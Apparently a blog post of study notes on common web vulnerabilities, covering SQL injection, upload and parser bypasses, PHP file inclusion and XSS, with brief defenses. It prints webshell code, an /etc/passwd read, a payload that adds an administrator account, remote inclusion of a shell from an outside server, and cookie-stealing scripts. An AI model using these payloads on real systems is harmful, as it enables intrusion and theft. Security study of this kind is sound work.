常见漏洞原理简介

       今天复习上个月学的漏洞的知识点。

一、SQL注入漏洞

       sql注入是就是通过把SQL语句插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

       理解这张图就可以理解sql注入的原理,因为在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。第一步我们查找数据库名,第二步我们通过查找tables表里的数据库,可以确定表名,第三步我们通过前两步得到的库名和表名就可以在columns这张表中得到字段名,最后一步我们通过前几步得到的数据库名、表名、字段名得到想要的数据。

常见漏洞原理简介_第1张图片


       如何通过进行sql注入,进后台?

              1、找注入点,判断是否可以注入。

              2、判断是数字型注入还是字符型注入。and 1=1 ;and 1=2

              3、如果是字符型注入,判断闭合符。’ " ') ") …

              4、优先使用联合查询注入->报错查询 ->bool型查询 ->时间盲注 ->宽字节

              5、判断列数。 order by

              6、判断显错位。 union select 1,2,3, …

              7、求库、求表、求字段、求数据。

              8、找后台,御剑扫后台目录。

              9、上传一句话木马。菜刀,蚁剑连接

1、数字型注入

	id=1'   //报错,说明有注入点
	id=1 and 1=1  //正确
	id=1 and 1=2  //错误,说明是数字型注入,否者为字符型注入

	order by  //判断列数
	and 1=2 union select 1,2,3, ...   //判断显错位
	and 1=2 union select 1,2,database()   //求库
	and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'   //求表
	and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'   //求字段
	and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名   //求数据

2、字符型注入(每句话的后面需要加--+)
	id=1'   //报错,说明有注入点
	id=1’ and '1'='1  //正确
	id=1'  and '1'='2  //错误,说明是字符型注入

	order by  //判断列数
	and 1=2 union select 1,2,3, ...   //判断显错位
	and 1=2 union select 1,2,database()   //求库
	and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'   //求表
	and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'   //求字段
	and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名   //求数据

3bool盲注入
	首先是判断是数字型还是字符型注入,在得到页面只返回TrueFalse两种类型页面。利用页面返回不同,逐个猜解数据,那么我们可以判断这是一个布尔型盲注。
	
	and (select length(database()))=8  //求库名长度,
	and (select ascii(substr(database(),1,1)))=98  //求库名,求八次
	and ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 01),1,1))=100 //求表名,
	and ascii(substr((select column_name from information_schema.columns where table.schema='数据库名' and table_name='表名' limit 0,1),1,1))=118  //求字段名
	and ascii(substr((select 字段名 from 数据库名.表名 limit 0,1),1,1))=118  //求数据

4、时间盲注入
	首先是判断是数字型还是字符型注入,在得到页面响应时间多少来判断是否是时间盲注。利用页面响应时间不同,逐个猜解数据,那么我们可以判断这是一个时间盲注。
	and if(length(database())=8,sleep(5),1)  //如果数据库名长度在8,这响应延时5秒
	and if(ascii(substr(database(),1,1))=95,sleep(5),1)  //如果数据库


5、报错查询
	and updatexml(1,concat(0x23,database()),1)//求库名
	and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=数据库),0x23),1)//求表名
	and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名'and table_name='表名'),0x23),1)//求字段名
	and updataxml(1,concat(0x23,(select group_concat(字段,0x23,字段) from 数据库名.表名)),1)//求数据


6、宽字节注入

index.php?id=1%df%27 union select 1,2%23
index.php?id=1%df%27 union select database(),2%23
这后面的和前面的几种类型注入相识,就不写了。
在这里写一下sqlmap的用法。

sqlmap
sqlmap -u "url"  //-u选项是检测注入点
sqlmap -u "url" --dbs  //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db  //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库  --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名  --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dumo //-C是指定字段  --dumo是列出字段内容
对于一些绕过sql注入的方法
空格过滤绕过
大小写过滤绕过
双写关键字绕过
双重url编码绕过
十六进制绕过
等价函数替换绕过

二、文件上传漏洞


        导致该漏洞的原因在于代码作者没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。

1、前端JS过滤绕过

       如果想要在一个开启了JavaScript验证的网站上传一句话木马,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->将木马的后缀名改为jpg格式->点击forward将数据包发回,这样就可以上传成功。最后用菜刀连接。
还有一种方法就是在地址栏输入:about:config,搜索javascript:enabled,双击关闭,也可以成功。

2、Content-Type绕过

       Content-Type一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件。
如果想要在一个有type验证的网站上传一句话木马,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->修改包内的Content-Type值:将application/octet-stream修改为image/jpeg。->点击forward将数据包发回,这样就可以上传成功。

3、扩展名绕过

       如果想要绕过有扩展名验证的网站上传一句话木马,这个很简单,可以把后缀换成大小写的方式绕过。

4、00截断绕过

       想通过00%截断来绕过有验证的网站上传一句话木马。将上传的文件名命名为test.php%00.jpg格式,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->修改包内的Content-Type值:将%00右击选择Covert selection选项中的URL进行编码->点击forward将数据包发回,这样就可以上传成功。注:系统在对文件名的读取时,如果遇到%00,就会认为读取已结束,不在读取后面的内容。

5、修改文件头绕过

       想要绕过有文件头校验的网站上传一句话木马,这个也很简单,就是在网上下载一张图片,用记事本打开,在图片的中间位置写上一句话木马。保存图片,就可以上传了。

6、.htaccess文件上传

       这个文件里面的内容是AddType application/x-httpd-php .jpg。我们可以先上传.htaccess这个文件,然后在通过在图片中写入一句话木马,上传图片,这样图片就会被解析成php语言。

三、解析漏洞


       文件在某种格式下,会被执行为该脚本语言的文件。 文件上传漏洞通常与Web容器的解析漏洞配合利用。

1、PHP CGI解析漏洞

       Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,并将phpinfo.jpg作为PHP文件解析。如果开启了fix_pathinfo这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。
       用法:在一个有文件上传漏洞的Nginx与php搭建的服务器上上传一个一句话木马的图片,当我们在上传的图片的路径下一级添加上1.php,那么图片木马就可以被解析成php语言。

2、apache解析漏洞

       只要是.php.结尾,且“.”无法被Apache解析,就会被Apache服务器解析成php文件,问题是apache如果在mime.types文件里面没有定义的扩展名在诸如x1.x2.x3的情况下,最后一个x3的没有定义,他会给解析成倒数第二个的x2的定义的扩展名。所以xxx.php.rar或者 xxx.php.111这些默认没在mime.types文件定义的都会解析成php的。
用法:在一个有文件上传漏洞的有apache与php搭建的服务器上上传一个一句话木马的文件,这个文件后缀名为.php.111,我们在访问这个文件时就会被解析成php执行。

3、IIS文件名解析漏洞

       IIS6.0解析漏洞有两种: 第一种是修改后缀,建立一个“.asp;.gif”的文件,windows会将他作为一个图片解析,但IIS不会。 第二种是在目录下建立一个“.asp”的文件夹,然后此文件夹里的所有文件都会被解析为ASP文件然后执行。

       用法:
       第一种:新建文件后缀名为.asp;后面随意加上后缀名为.gif,这个文件就会被Windows会当成jpg图像文件,但是这种文件在IIS中会被当成asp运行。
       第二种:在目录下建立一个后缀名为.asp文件夹,这样里面的所有文件都会被解析为asp文件。

四、文件包含漏洞

       在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

       简单来说就是在写程序时遇到了重复编写的代码,程序员就会把这些重复的代码写在一个文件中,到时候要用到重复的代码时直接调用这个文件。

1、PHP四个常见文件包含函数

       include()执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。
       require()只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。
       include_once()与require_once()若文件中代码已被包含则不会再次包含

       注:要保证php.ini中allow_url_fopen和allow_url_include要为On。
       注:PHP中只要文件内容符合PHP语法规范,包含时不管扩展名是什么都会被PHP解析, 若文件内容不符合PHP语法规范则会暴漏其源码。
       注:php.ini配置文件:allow_url_fopen=off 时不可以包含远程文件,只有开启了才可以包含。Php4存在远程&本地,php5仅存在本地包含。

2、 伪协议使用

(1)php://filter 可以利用它进行任意文件读取,只需要开启 allow_url_fopen 。
       用法:/06.php?filename=php://filter/convert.base64-encode/resource=06.php。得到的结果要用base64解码。
注: filename是GET请求的参数

(2)php://input 可以直接读取到POST上没有经过解析的原始数据,将post请求中的数据作为PHP代码执行。
       注:不过在enctype="multipart/form-data"的时候php://input 是无效的。
       只需要把php配置文件(php.ini)中的allow_url_include打开,设置为On,就可以了。
       php://input只是能够获取POST参数中的数据,真正能够创建文件和把数据写入文件的函数是:fopen()函数和fputs()函数
       fopen()函数是用来打开文件或者是URL,如果打开失败的话,本函数返回FALSE,格式:fopen(filename,mode,可选1,可选2)
       fputs()函数的作用是写入文件(可安全的用于二进制文件),它是fwrite()函数的别名。
       格式:fputs(file,string,可选): fwrite() 把 string 的内容写入文件指针 file 处。 如果指定了 length,当写入了 length 个字节或者写完了 string 以后,写入就会停止。fwrite() 返回写入的字符数,出现错误时则返回 false。

       用法:/07.php?filename=php://input 数据利用POST传过去
       POST传下面的话
       ")?>
       然后访问:/07.php?filename=php://input/var/www/html/fi/shell.php
       如果报错就用“\”把POST方法转义一下:$_POST[1]
       注:file_get_contents()函数,这个函数的作用是把整个文件读入一个字符串中。

(3)data://伪协议 是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
       用法:/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
       用base64编码变成PD9waHAgcGhwaW5mbygpOz8%2b这样就可以成功执行一句话木马。
       如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI)

(4)file://伪协议利用 访问本地文件系统,不受allow_url_fopen与allow_url_include的影响
       可以查看系统用户信息
       /09.php?filename=file:///etc/passwd


(5)phar://伪协议 这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
       用法:/10.php?file=phar://压缩包/内部文件 phar://xxx.png(压缩包)/shell.php (内部文件)
       注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
        步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。


(6)zip://伪协议 zip伪协议和phar协议类似,但是用法不一样。
       用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php
       注:PHP > =5.3.0,注意在windows下测试要5.3.0

3、文件包含利用

1%00截断来包含文件
PHP版本必须小于5.3.x版本,把PHP扩展的参数开关magic_quotes_gpc给关掉
用法:http://www.sad.com/shell/phpinfo.php%00

2、点号截断
windows下目录最大长度为256字节,超出的部分会被丢弃;linux下目录最大长度为4096字节,超出的部分会被丢弃。所以用…绕过的时候windows 系统中,点号需要长于256;linux 系统中点号要长于4096

3、代码执行漏洞
(1)可以在本地建立shell.php文件,里面写入<?php Eval($_REQUEST['asd'])?>  //$_REQUEST包含了$_GET、$_POST、$_COOKIE的所有内容,是它们的集合体。
访问http://www.asd.com/shell.php?asd=phpinfo();
这就可以成功。
注:Eval()函数就可以把字符串按照PHP代码来执行,换句话说,就是可以动态地执行PHP代码,使用eval函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。
(2)如果网站主页存在文件包含漏洞,我们利用它执行系统命令,比如添加用户。 
访问http://www.asd.com/index.php?filename=php://input
post传递数据<?php system('net user admin admin /add')?>
这样就能创建用户,之后还可以对其提权 比如: net localgroup Administrators admin /add4、远程文件包含
如果我们发现一个网站上存在文件包含漏洞,那么我们可以预先在自己的服务器上建立一句话木马,然后把自己的服务器上的路径作为参数传到有文件包含漏洞的网站上。<?php @eval(\$_POST[['123'])?>
用法:
访问http://www.asd.com/index.php?filename=http://100.100.100.11/shell.txt
菜刀连接

五、XSS跨站脚本攻击

       XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意脚本代码(通常包括HTML代码和客户端JavaScript脚本)注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对端受害者可能采取cookie资料窃取、会话解除、钓鱼欺骗等各种攻击。


1.DOM型XSS:

       DOM本身是一个表达XML文档的标准
       客户端的脚本程序可以通过DOM动态地检査和修改页面内容,它不依赖于服务器端的数据,而从客户端获得DOM中的数据(如从URL中提取数据)并在本地执行。另一方面,测览器用户可以操纵DOM中的一些对象,例如URL、 location等。用户在客户端输入的数据如果包含了恶意 JavaScript脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于DOM的XSS攻击。

       用法:
       访问http://www.asd.com/index.php?name=";alert(xss)//
       访问成功会弹出一个框。
       注:";用于闭合前面的参数,式传入的变量为空,后面的 // 是注释后面的传参本身的“;
       注:DOM型XSS的数据流向是 :URL—>浏览器。
       还有一些其它类型的闭合:”><“ ;


2.存储型:

       这种类型的XSS,危害比前一种大得多。它的相关源代码存放于服务器,如果在网站留言的地方加入代码,网站对这些代码没有过滤或过滤不严,那么用户访问该页面的时候就会触发代码执行。容易造成蠕虫,盗窃cookie。
       用法:在一个网站的留言板上输入alert(document.cookie),当读到document.cookie时,会得到cookie。
       存储型 XSS 的数据流向是:浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。


3.反射型:
       非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。它的特点是旨在用户单击时触发,而且只执行一次,非持久化,所以称为反射型跨站式脚本。
       一般来说这种类型的XSS,需要攻击者提前构造一个恶意链接,来诱使客户点击,比如http://www.abc.com/?params=
反射型 XSS 的数据流向是:浏览器 -> 后端 -> 浏览器。
       注:在易用上,存储型XSS > DOM 型 XSS > 反射型 XSS。
       反射型XSS和DOM型XSS都需要在url加入js代码才能够触发。


4、防御XSS攻击

       1、使用XSS Filter:
       XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。

       2、定制过滤策略
       业内防御跨站脚本攻击的方式一般有两种: Input Filtering和 Output Filtering,即分别在输入端(Input)和输出端(Output)进行过滤。
       输入过滤:在数据存进数据库之前便对特殊的字符进行转义,方便简洁,顺便可以把SQL注入等其他漏洞一并检验。而缺点就是无法处理之前已经存在于数据库中的恶意代码。
       输出过滤:在数据输出之前先对部分敏感字符进行转义,这是一个很安全的方法,能有效保持数据的完整性。缺点是必须对每一个细节的输出仔细过滤,因此会带来额外的工作量。

       3、防范基于DOM的XSS攻击要注意两点。
       (1)避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务端使用动态页面来实现。
       (2)分析和强化客户端 Javascript代码,尤其是一些受到用户影响的Dom对象。
       另外,要注意能直接修改DOM和创建HTML文件的相关函数和方法。
       此外,在把变量输出到页面时要做好相关的编码转义工作。如要输出到

你可能感兴趣的:(漏洞,安全漏洞,安全,xss)